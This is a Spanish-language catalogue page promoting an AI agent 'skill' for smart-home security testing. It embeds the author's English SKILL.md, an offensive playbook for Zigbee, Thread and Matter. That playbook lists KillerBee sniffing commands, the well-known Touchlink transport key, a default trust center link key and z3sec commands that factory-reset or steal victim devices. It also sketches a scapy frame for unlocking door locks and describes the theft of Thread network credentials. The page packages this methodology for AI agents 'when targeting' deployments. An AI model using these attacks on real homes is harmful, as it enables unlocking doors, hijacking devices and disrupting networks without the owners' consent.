offensive-zigbee-thread-matter
Qué hace
Esta skill cubre las comprobaciones de seguridad de dispositivos domóticos que usan los protocolos de malla Zigbee, Thread o Matter. Es para probadores de seguridad y fabricantes de domótica que tienen permiso para probar.
Cuándo usarla
- ✓Cuando revisas bombillas, cerraduras o sensores Zigbee en busca de emparejamiento o gestión de claves débiles.
- ✓Cuando necesitas comprobar cómo se configura un dispositivo Matter o Thread en una red doméstica.
- ✓Cuando quieres un resumen en lenguaje sencillo de cómo se diferencian estos estándares de malla domótica en seguridad.
Link de la skill
https://github.com/SnailSploit/Claude-Red/blob/main/Skills/wireless/offensive-zigbee-thread-matter/SKILL.mdCópialo y pégalo en tu IA (Claude, ChatGPT o Cursor) pidiéndole que siga las instrucciones.
Cómo usar
La forma más fácil: copia el mensaje y pégalo en tu IA. Ella lee la skill y sigue las instrucciones.
Mensaje listo para pegar
Para Claude Code, Codex o Cursor: ejecútalo en la carpeta del proyecto y la skill queda instalada.
Descarga el SKILL.md y ponlo en la carpeta de skills de tu agente.
Ejemplo de qué pedirle a la IA
“¿Puedes explicarme las diferencias de seguridad entre los dispositivos Zigbee, Thread y Matter para nuestro laboratorio de pruebas de domótica?”
5 skills nuevas por semana. 1 minuto de lectura.
Cómo funciona
La skill describe cómo los dispositivos se unen a una red, dónde pueden quedar expuestas las claves durante la configuración y qué protocolos tienen valores por defecto más sólidos. Enumera hardware habitual para la revisión.
Contenido técnico (SKILL.md original)
Texto original del autor, en inglés, directo de GitHub.
Zigbee / Thread / Matter Attacks
802.15.4-based mesh protocols underpin most "smart home" devices. Zigbee is widely deployed and has well-known crypto-key-reuse issues; Thread (modern, IPv6-based) ships with stronger defaults; Matter unifies their commissioning model with stronger crypto but still has implementation pitfalls.
Quick Workflow
- Sniff target frequency (channels 11–26 in 2.4 GHz)
- Identify network coordinator and joining devices
- For Zigbee: try Touchlink commissioning with the well-known key
- Capture join-key exchange when devices commission
- Replay or inject ZCL/ZHA cluster commands
Hardware
| Adapter | Use |
|---|---|
| TI CC2531 USB stick | Cheap, works with Zigbee2MQTT, KillerBee |
| TI CC2540 / CC2652 | Zigbee + Thread + BLE |
| Sonoff Zigbee Dongle E (CC2652P) | Modern, well-supported |
| ApiMote (KillerBee dev) | Multi-channel, scapy-dot15d4 |
| HackRF + appropriate firmware | Lower-level RF flexibility |
Discovery + Sniffing
# KillerBee suite
zbstumbler -i 0 # find Zigbee networks
zbid # ID coordinators
zbdump -c 11 -w zigbee.pcap # dump channel 11 to pcap
# scapy-dot15d4 for crafted frames
python3
>>> from scapy.contrib.dot15d4 import *
>>> sniff(iface='/dev/ttyACM0', count=50)
In Wireshark with the dot15d4 + zbee_nwk dissectors, you'll see frame counters, network keys (if joined), and ZCL commands.
Touchlink Commissioning Abuse
Touchlink (used by Zigbee 3.0 commissioning, especially in lighting) uses a well-known transport key:
0x9F559A553B7A6B2C5C4FBB4E84956F3D
Many consumer Zigbee bulbs / strips accept Touchlink commissioning from any nearby radio with this key — joining them to your network or stealing them from theirs.
# z3sec — Zigbee 3 commissioning attack toolkit
git clone https://github.com/IoTsec/Z3sec
python z3sec_inter_pan.py --command "factory_reset_request" --device <addr>
python z3sec_inter_pan.py --command "join_network" --network <PANID>
Outcomes:
- Factory-reset victim devices remotely (DoS / mass disrupt)
- Steal lights / sensors into attacker network
- Read network keys after joining device-to-network
Network Key Capture During Joins
# Capture coordinator + joining device exchange
zbdump -c <ch> -w join.pcap
# Decrypt if you obtain the trust center link key
# Older Zigbee 1.x networks used a default trust center link key:
# ZigBeeAlliance09
# Modern networks use device-specific install codes
Once you have the network key, all traffic on that mesh is decrypted in Wireshark.
ZCL / ZHA Cluster Command Abuse
Zigbee Cluster Library defines on/off/level/lock clusters. With network key, you can issue commands as any device:
# scapy-dot15d4 frame to unlock a door lock
from scapy.contrib.dot15d4 import *
from scapy.contrib.zigbee import *
frame = Dot15d4FCS()/Dot15d4Data()/ZigbeeNWK(...)/ZigbeeAppDataPayload(...)/ZCLDoorLock(...)
sendp(frame, iface='/dev/ttyACM0')
The same primitive opens locks, toggles switches, dims lights, or floods the network with control traffic.
Thread Specifics
Thread (used by Apple HomePod, Nest, Eero) uses 802.15.4 with IPv6 (6LoWPAN) and stronger commissioning crypto.
- Network credential is a commissioner-distributed PSKc
- Devices join with the commissioner present
- Mesh commissioning protocol is over UDP/CoAP
Attack surface:
- PSKc theft from commissioner devices (mobile app companion, Apple Home, Nest app)
- Reusing a leaked credential to join target network
- 6LoWPAN routing attacks (rank manipulation, sinkhole)
Matter Commissioning
Matter unifies Zigbee/Thread/Wi-Fi device onboarding under one commissioning model:
- QR code or manual setup code grants commissioning permission
- Bluetooth LE used for initial commissioning
- Subsequent communication over Wi-Fi or Thread
Attack surface:
- Setup-code reuse / replay if commissioning window not closed
- BLE-MITM during initial commissioning (see
offensive-bluetooth-ble) - Fabric-attestation flaws in early implementations
Detection
- Coordinator may log unexpected device joins
- Hub apps surface "new device" notifications — commonly ignored by users
- Wireshark/Sonoff captures from defenders are rare — most environments don't monitor 802.15.4
Engagement Cheatsheet
# 1. Identify networks + channels
zbstumbler -i 0
# 2. Sniff target channel
zbdump -c <ch> -w cap.pcap
# Open in Wireshark with dot15d4/zigbee
Preguntas frecuentes
¿Qué es Matter?
Matter es un estándar de domótica que pretende que dispositivos de distintas marcas funcionen juntos, con una seguridad compartida más sólida.
¿Por qué preocupa Zigbee?
La skill indica que algunas configuraciones de Zigbee reutilizan una clave muy conocida durante la configuración, lo que es un fallo conocido.
¿Qué es Thread?
Thread es un protocolo de malla más reciente basado en IPv6 que la skill describe como más sólido por defecto que Zigbee.
Detalles
Descripción original del autor
Zigbee, Thread, and Matter mesh-protocol attack methodology — IEEE 802.15.4 sniffing with TI CC2531 / CC2540 / Sonoff Zigbee Dongle E, KillerBee toolkit, Touchlink commissioning abuse with the well-known transport key, replay/injection attacks, Zigbee Cluster Library command abuse for door locks and bulbs, Thread network credential theft, Matter commissioning chain analysis, and 6LoWPAN/IPv6 routing exploitation. Use when targeting smart-home or commercial mesh deployments, Zigbee-based door locks, lighting, or sensor networks.
repo: SnailSploit/Claude-Red
Popularidad
- Estrellas en GitHub
- 10 mil
- Posición en el ranking
- #11993
- Licencia
- MIT
- Actualizada
- 12/10/2026
Comentarios
- …
Más skills de este repositorio
offensive-active-directory
10 milAyuda a tu agente a planificar una prueba de seguridad autorizada de Active Directory, desde mapear la red hasta encontrar rutas de ataque a Domain Admin.
offensive-netexec
10 milAyuda a tu agente a usar la herramienta NetExec (nxc) para pruebas de red autorizadas, cubriendo protocolos, autenticación y comprobaciones de credenciales.
offensive-api-abuse
10 milAyuda a tu agente a planificar pruebas de seguridad de API autorizadas que buscan abusos de la lógica de negocio, riesgos de GraphQL y condiciones de carrera.
offensive-api-security
10 milAyuda a tu agente a realizar pruebas de seguridad autorizadas en APIs REST, gRPC y WebSocket, basadas en el OWASP API Top 10.
Skills parecidas
reverse-engineer-anything
422 milAyuda a tu agente a revisar apps y paquetes ya publicados para explicar sus funciones, comparar versiones o guiar una reconstrucción, usando la herramienta REA.
1password
394 milAyuda a tu agente a instalar la CLI de 1Password, iniciar sesión y leer o inyectar secretos sin imprimir sus valores en el chat.
healthcheck
394 milAyuda a tu agente a auditar el ordenador o servidor que ejecuta OpenClaw en busca de riesgos de seguridad, como SSH, cortafuegos, actualizaciones y copias de seguridad, y después sugerir arreglos seguros.